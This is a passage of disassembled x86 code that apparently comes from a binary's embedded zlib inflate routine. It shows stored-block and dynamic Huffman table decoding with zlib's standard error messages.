[ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B501: ; CODE XREF: sub_42B1FD+147j ; sub_42B1FD+18Fj ... jmp loc_42C524 ; --------------------------------------------------------------------------- loc_42B506: ; CODE XREF: sub_42B1FD+75j ; sub_42B1FD+3ACj ; DATA XREF: ... cmp [ebp+var_14], 20h jnb loc_42B5AE cmp [ebp+var_1C], 0 jz short loc_42B51F mov [ebp+arg_8], 0 jmp short loc_42B57A ; --------------------------------------------------------------------------- loc_42B51F: ; CODE XREF: sub_42B1FD+317j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B57A: ; CODE XREF: sub_42B1FD+320j mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_14] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_14] add eax, 8 mov [ebp+var_14], eax jmp loc_42B506 ; --------------------------------------------------------------------------- loc_42B5AE: ; CODE XREF: sub_42B1FD+30Dj mov ecx, [ebp+var_C] not ecx shr ecx, 10h and ecx, 0FFFFh mov edx, [ebp+var_C] and edx, 0FFFFh cmp ecx, edx jz short loc_42B63E mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], offset aInvalidStoredB ; "invalid stored block lengths" mov [ebp+arg_8], 0FFFFFFFDh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B63E: ; CODE XREF: sub_42B1FD+3CAj mov edx, [ebp+var_C] and edx, 0FFFFh mov eax, [ebp+arg_0] mov [eax+4], edx mov [ebp+var_14], 0 mov ecx, [ebp+var_14] mov [ebp+var_C], ecx mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jz short loc_42B66C mov [ebp+var_60], 2 jmp short loc_42B67C ; --------------------------------------------------------------------------- loc_42B66C: ; CODE XREF: sub_42B1FD+464j mov eax, [ebp+arg_0] mov ecx, [eax+18h] neg ecx sbb ecx, ecx and ecx, 7 mov [ebp+var_60], ecx loc_42B67C: ; CODE XREF: sub_42B1FD+46Dj mov edx, [ebp+arg_0] mov eax, [ebp+var_60] mov [edx], eax jmp loc_42C524 ; --------------------------------------------------------------------------- loc_42B689: ; CODE XREF: sub_42B1FD+75j ; DATA XREF: TEUm:0042C535o cmp [ebp+var_1C], 0 jnz short loc_42B6EA mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B6EA: ; CODE XREF: sub_42B1FD+490j cmp [ebp+var_18], 0 jnz loc_42B856 mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+2Ch] jnz short loc_42B744 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_0] mov edx, [eax+30h] cmp edx, [ecx+28h] jz short loc_42B744 mov eax, [ebp+arg_0] mov ecx, [eax+28h] mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+30h] jnb short loc_42B732 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] sub edx, [ebp+var_8] sub edx, 1 mov [ebp+var_64], edx jmp short loc_42B73E ; --------------------------------------------------------------------------- loc_42B732: ; CODE XREF: sub_42B1FD+522j mov eax, [ebp+arg_0] mov ecx, [eax+2Ch] sub ecx, [ebp+var_8] mov [ebp+var_64], ecx loc_42B73E: ; CODE XREF: sub_42B1FD+533j mov edx, [ebp+var_64] mov [ebp+var_18], edx loc_42B744: ; CODE XREF: sub_42B1FD+500j ; sub_42B1FD+50Ej cmp [ebp+var_18], 0 jnz loc_42B856 mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch mov [ebp+arg_8], eax mov edx, [ebp+arg_0] mov eax, [edx+34h] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] cmp edx, [ecx+30h] jnb short loc_42B793 mov eax, [ebp+arg_0] mov ecx, [eax+30h] sub ecx, [ebp+var_8] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_42B79F ; --------------------------------------------------------------------------- loc_42B793: ; CODE XREF: sub_42B1FD+583j mov edx, [ebp+arg_0] mov eax, [edx+2Ch] sub eax, [ebp+var_8] mov [ebp+var_68], eax loc_42B79F: ; CODE XREF: sub_42B1FD+594j mov ecx, [ebp+var_68] mov [ebp+var_18], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] cmp eax, [edx+2Ch] jnz short loc_42B7F5 mov ecx, [ebp+arg_0] mov edx, [ebp+arg_0] mov eax, [ecx+30h] cmp eax, [edx+28h] jz short loc_42B7F5 mov ecx, [ebp+arg_0] mov edx, [ecx+28h] mov [ebp+var_8], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] cmp ecx, [eax+30h] jnb short loc_42B7E3 mov edx, [ebp+arg_0] mov eax, [edx+30h] sub eax, [ebp+var_8] sub eax, 1 mov [ebp+var_6C], eax jmp short loc_42B7EF ; --------------------------------------------------------------------------- loc_42B7E3: ; CODE XREF: sub_42B1FD+5D3j mov ecx, [ebp+arg_0] mov edx, [ecx+2Ch] sub edx, [ebp+var_8] mov [ebp+var_6C], edx loc_42B7EF: ; CODE XREF: sub_42B1FD+5E4j mov eax, [ebp+var_6C] mov [ebp+var_18], eax loc_42B7F5: ; CODE XREF: sub_42B1FD+5B1j ; sub_42B1FD+5BFj cmp [ebp+var_18], 0 jnz short loc_42B856 mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B856: ; CODE XREF: sub_42B1FD+4F1j ; sub_42B1FD+54Bj ... mov [ebp+arg_8], 0 mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+var_10], edx mov eax, [ebp+var_10] cmp eax, [ebp+var_1C] jbe short loc_42B874 mov ecx, [ebp+var_1C] mov [ebp+var_10], ecx loc_42B874: ; CODE XREF: sub_42B1FD+66Fj mov edx, [ebp+var_10] cmp edx, [ebp+var_18] jbe short loc_42B882 mov eax, [ebp+var_18] mov [ebp+var_10], eax loc_42B882: ; CODE XREF: sub_42B1FD+67Dj mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_8] push eax call sub_4318C4 ; memcpy add esp, 0Ch mov ecx, [ebp+var_4] add ecx, [ebp+var_10] mov [ebp+var_4], ecx mov edx, [ebp+var_1C] sub edx, [ebp+var_10] mov [ebp+var_1C], edx mov eax, [ebp+var_8] add eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_18] sub ecx, [ebp+var_10] mov [ebp+var_18], ecx mov edx, [ebp+arg_0] mov eax, [edx+4] sub eax, [ebp+var_10] mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] cmp dword ptr [edx+4], 0 jz short loc_42B8D7 jmp loc_42C524 ; --------------------------------------------------------------------------- loc_42B8D7: ; CODE XREF: sub_42B1FD+6D3j mov eax, [ebp+arg_0] mov ecx, [eax+18h] neg ecx sbb ecx, ecx and ecx, 7 mov edx, [ebp+arg_0] mov [edx], ecx jmp loc_42C524 ; --------------------------------------------------------------------------- loc_42B8EE: ; CODE XREF: sub_42B1FD+75j ; sub_42B1FD+794j ; DATA XREF: ... cmp [ebp+var_14], 0Eh jnb loc_42B996 cmp [ebp+var_1C], 0 jz short loc_42B907 mov [ebp+arg_8], 0 jmp short loc_42B962 ; --------------------------------------------------------------------------- loc_42B907: ; CODE XREF: sub_42B1FD+6FFj mov eax, [ebp+arg_0] mov ecx, [ebp+var_C] mov [eax+20h], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_14] mov [edx+1Ch], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_1C] mov [ecx+4], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] sub ecx, [eax] mov edx, [ebp+arg_4] mov eax, [edx+8] add eax, ecx mov ecx, [ebp+arg_4] mov [ecx+8], eax mov edx, [ebp+arg_4] mov eax, [ebp+var_4] mov [edx], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [ecx+34h], edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42B962: ; CODE XREF: sub_42B1FD+708j mov eax, [ebp+var_1C] sub eax, 1 mov [ebp+var_1C], eax mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_42B8EE ; --------------------------------------------------------------------------- loc_42B996: ; CODE XREF: sub_42B1FD+6F5j mov eax, [ebp+var_C] and eax, 3FFFh mov [ebp+var_10], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+4], edx mov eax, [ebp+var_10] and eax, 1Fh cmp eax, 1Dh ja short loc_42B9C3 mov ecx, [ebp+var_10] shr ecx, 5 and ecx, 1Fh cmp ecx, 1Dh jbe short loc_42BA38 loc_42B9C3: ; CODE XREF: sub_42B1FD+7B6j mov edx, [ebp+arg_0] mov dword ptr [edx], 9 mov eax, [ebp+arg_4] mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols" mov [ebp+arg_8], 0FFFFFFFDh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42BA38: ; CODE XREF: sub_42B1FD+7C4j mov ecx, [ebp+var_10] and ecx, 1Fh mov edx, [ebp+var_10] shr edx, 5 and edx, 1Fh lea eax, [ecx+edx+102h] mov [ebp+var_10], eax push 4 mov ecx, [ebp+var_10] push ecx mov edx, [ebp+arg_4] mov eax, [edx+28h] push eax mov ecx, [ebp+arg_4] call dword ptr [ecx+20h] add esp, 0Ch mov edx, [ebp+arg_0] mov [edx+0Ch], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+0Ch], 0 jnz short loc_42BAD8 mov [ebp+arg_8], 0FFFFFFFCh mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42BAD8: ; CODE XREF: sub_42B1FD+877j mov ecx, [ebp+var_C] shr ecx, 0Eh mov [ebp+var_C], ecx mov edx, [ebp+var_14] sub edx, 0Eh mov [ebp+var_14], edx mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 4 loc_42BAFD: ; CODE XREF: sub_42B1FD+75j ; sub_42B1FD+9FFj ; DATA XREF: ... mov edx, [ebp+arg_0] mov eax, [edx+4] shr eax, 0Ah add eax, 4 mov ecx, [ebp+arg_0] cmp [ecx+8], eax jnb loc_42BC01 loc_42BB15: ; CODE XREF: sub_42B1FD+9BDj cmp [ebp+var_14], 3 jnb loc_42BBBF cmp [ebp+var_1C], 0 jz short loc_42BB2E mov [ebp+arg_8], 0 jmp short loc_42BB89 ; --------------------------------------------------------------------------- loc_42BB2E: ; CODE XREF: sub_42B1FD+926j mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42BB89: ; CODE XREF: sub_42B1FD+92Fj mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_42BB15 ; --------------------------------------------------------------------------- loc_42BBBF: ; CODE XREF: sub_42B1FD+91Cj mov eax, [ebp+var_C] and eax, 7 mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov ecx, dword_434440[edx*4] mov edx, [ebp+arg_0] mov edx, [edx+0Ch] mov [edx+ecx*4], eax mov eax, [ebp+arg_0] mov ecx, [eax+8] add ecx, 1 mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+var_C] shr eax, 3 mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, 3 mov [ebp+var_14], ecx jmp loc_42BAFD ; --------------------------------------------------------------------------- loc_42BC01: ; CODE XREF: sub_42B1FD+912j ; sub_42B1FD+A36j mov edx, [ebp+arg_0] cmp dword ptr [edx+8], 13h jnb short loc_42BC35 mov eax, [ebp+arg_0] mov ecx, [eax+8] mov edx, dword_434440[ecx*4] mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov dword ptr [ecx+edx*4], 0 mov edx, [ebp+arg_0] mov eax, [edx+8] add eax, 1 mov ecx, [ebp+arg_0] mov [ecx+8], eax jmp short loc_42BC01 ; --------------------------------------------------------------------------- loc_42BC35: ; CODE XREF: sub_42B1FD+A0Bj mov edx, [ebp+arg_0] mov dword ptr [edx+10h], 7 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx mov eax, [ebp+arg_0] add eax, 14h push eax mov ecx, [ebp+arg_0] add ecx, 10h push ecx mov edx, [ebp+arg_0] mov eax, [edx+0Ch] push eax call sub_42CE8E add esp, 14h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_42BCFB mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+var_10] mov [ebp+arg_8], eax cmp [ebp+arg_8], 0FFFFFFFDh jnz short loc_42BCA0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 9 loc_42BCA0: ; CODE XREF: sub_42B1FD+A98j mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42BCFB: ; CODE XREF: sub_42B1FD+A71j mov edx, [ebp+arg_0] mov dword ptr [edx+8], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 5 loc_42BD0E: ; CODE XREF: sub_42B1FD+75j ; sub_42B1FD:loc_42C09Cj ; DATA XREF: ... mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+var_10], edx mov eax, [ebp+var_10] and eax, 1Fh mov ecx, [ebp+var_10] shr ecx, 5 and ecx, 1Fh lea edx, [eax+ecx+102h] mov eax, [ebp+arg_0] cmp [eax+8], edx jnb loc_42C0A1 mov ecx, [ebp+arg_0] mov edx, [ecx+10h] mov [ebp+var_10], edx loc_42BD42: ; CODE XREF: sub_42B1FD+BEAj mov eax, [ebp+var_14] cmp eax, [ebp+var_10] jnb loc_42BDEC cmp [ebp+var_1C], 0 jz short loc_42BD5D mov [ebp+arg_8], 0 jmp short loc_42BDB8 ; --------------------------------------------------------------------------- loc_42BD5D: ; CODE XREF: sub_42B1FD+B55j mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+20h], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_14] mov [eax+1Ch], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_1C] mov [edx+4], eax mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] sub edx, [ecx] mov eax, [ebp+arg_4] mov ecx, [eax+8] add ecx, edx mov edx, [ebp+arg_4] mov [edx+8], ecx mov eax, [ebp+arg_4] mov ecx, [ebp+var_4] mov [eax], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+34h], eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42BDB8: ; CODE XREF: sub_42B1FD+B5Ej mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx mov edx, [ebp+var_4] xor eax, eax mov al, [edx] mov ecx, [ebp+var_14] shl eax, cl mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_14] add eax, 8 mov [ebp+var_14], eax jmp loc_42BD42 ; --------------------------------------------------------------------------- loc_42BDEC: ; CODE XREF: sub_42B1FD+B4Bj mov ecx, [ebp+var_10] mov edx, [ebp+var_C] and edx, dword_4332F8[ecx*4] mov eax, [ebp+arg_0] mov ecx, [eax+14h] lea edx, [ecx+edx*8] mov [ebp+var_34], edx mov eax, [ebp+var_34] xor ecx, ecx mov cl, [eax+1] mov [ebp+var_10], ecx mov edx, [ebp+var_34] mov eax, [edx+4] mov [ebp+var_30], eax cmp [ebp+var_30], 10h jnb short loc_42BE59 mov edx, [ebp+var_C] mov ecx, [ebp+var_10] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+var_10] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov eax, [ebp+arg_0] mov ecx, [eax+0Ch] mov eax, [ebp+var_30] mov [ecx+edx*4], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] add edx, 1 mov eax, [ebp+arg_0] mov [eax+8], edx jmp loc_42C09C ; --------------------------------------------------------------------------- loc_42BE59: ; CODE XREF: sub_42B1FD+C20j cmp [ebp+var_30], 12h jnz short loc_42BE68 mov [ebp+var_70], 7 jmp short loc_42BE71 ; --------------------------------------------------------------------------- loc_42BE68: ; CODE XREF: sub_42B1FD+C60j mov ecx, [ebp+var_30] sub ecx, 0Eh mov [ebp+var_70], ecx loc_42BE71: ; CODE XREF: sub_42B1FD+C69j mov edx, [ebp+var_70] mov [ebp+var_38], edx mov eax, [ebp+var_30] sub eax, 12h neg eax sbb eax, eax and al, 0F8h add eax, 0Bh mov [ebp+var_3C], eax loc_42BE89: ; CODE XREF: sub_42B1FD+D36j mov ecx, [ebp+var_10] add ecx, [ebp+var_38] cmp [ebp+var_14], ecx jnb loc_42BF38 cmp [ebp+var_1C], 0 jz short loc_42BEA7 mov [ebp+arg_8], 0 jmp short loc_42BF02 ; --------------------------------------------------------------------------- loc_42BEA7: ; CODE XREF: sub_42B1FD+C9Fj mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42BF02: ; CODE XREF: sub_42B1FD+CA8j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx mov eax, [ebp+var_4] xor ecx, ecx mov cl, [eax] mov edx, ecx mov ecx, [ebp+var_14] shl edx, cl mov eax, [ebp+var_C] or eax, edx mov [ebp+var_C], eax mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] add edx, 8 mov [ebp+var_14], edx jmp loc_42BE89 ; --------------------------------------------------------------------------- loc_42BF38: ; CODE XREF: sub_42B1FD+C95j mov eax, [ebp+var_C] mov ecx, [ebp+var_10] shr eax, cl mov [ebp+var_C], eax mov ecx, [ebp+var_14] sub ecx, [ebp+var_10] mov [ebp+var_14], ecx mov edx, [ebp+var_38] mov eax, [ebp+var_C] and eax, dword_4332F8[edx*4] mov ecx, [ebp+var_3C] add ecx, eax mov [ebp+var_3C], ecx mov edx, [ebp+var_C] mov ecx, [ebp+var_38] shr edx, cl mov [ebp+var_C], edx mov eax, [ebp+var_14] sub eax, [ebp+var_38] mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+8] mov [ebp+var_38], edx mov eax, [ebp+arg_0] mov ecx, [eax+4] mov [ebp+var_10], ecx mov edx, [ebp+var_38] add edx, [ebp+var_3C] mov eax, [ebp+var_10] and eax, 1Fh mov ecx, [ebp+var_10] shr ecx, 5 and ecx, 1Fh lea eax, [eax+ecx+102h] cmp edx, eax ja short loc_42BFBB cmp [ebp+var_30], 10h jnz loc_42C047 cmp [ebp+var_38], 1 jnb loc_42C047 loc_42BFBB: ; CODE XREF: sub_42B1FD+DA8j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx mov eax, [ebp+arg_4] mov ecx, [eax+28h] push ecx mov edx, [ebp+arg_4] call dword ptr [edx+24h] add esp, 8 mov eax, [ebp+arg_0] mov dword ptr [eax], 9 mov ecx, [ebp+arg_4] mov dword ptr [ecx+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov [ebp+arg_8], 0FFFFFFFDh mov edx, [ebp+arg_0] mov eax, [ebp+var_C] mov [edx+20h], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_14] mov [ecx+1Ch], edx mov eax, [ebp+arg_4] mov ecx, [ebp+var_1C] mov [eax+4], ecx mov edx, [ebp+arg_4] mov eax, [ebp+var_4] sub eax, [edx] mov ecx, [ebp+arg_4] mov edx, [ecx+8] add edx, eax mov eax, [ebp+arg_4] mov [eax+8], edx mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [eax+34h], ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_42A0B0 add esp, 0Ch jmp loc_42C529 ; --------------------------------------------------------------------------- loc_42C047: ; CODE XREF: sub_42B1FD+DAEj ; sub_42B1FD+DB8j cmp [ebp+var_30], 10h jnz short loc_42C05F mov edx, [ebp+arg_0] mov eax, [edx+0Ch] mov ecx, [ebp+var_38] mov edx, [eax+ecx*4-4] mov [ebp+var_74], edx jmp short loc_42C066 ; --------------------------------------------------------------------------- loc_42C05F: ; CODE XREF: sub_42B1FD+E4Ej mov [ebp+var_74], 0 loc_42C066: ; CODE XREF: sub_42B1FD+E60j mov eax, [ebp+var_74] mov [ebp+var_30], eax loc_42C06C: ; CODE XREF: sub_42B1FD+E94j mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] mov eax, [ebp+var_38] mov ecx, [ebp+var_30] mov [edx+eax*4], ecx mov edx, [ebp+var_38] add edx, 1 mov [ebp+var_38], edx mov eax, [ebp+var_3C] sub eax, 1 mov [ebp+var_3C], eax cmp [ebp+var_3C], 0 jnz short loc_42C06C mov ecx, [ebp+arg_0] mov edx, [ebp+var_38] mov [ecx+8], edx loc_42C09C: ; CODE XREF: sub_42B1FD+C57j jmp loc_42BD0E ; --------------------------------------------------------------------------- loc_42C0A1: ; CODE XREF: sub_42B1FD+B36j mov eax, [ebp+arg_0] mov dword ptr [eax+14h], 0 mov [ebp+var_4C], 9 mov [ebp+var_40], 6 mov ecx, [ebp+arg_0] mov edx, [ecx+4] mov [ebp+var_10], edx mov eax, [ebp+arg_4] push eax 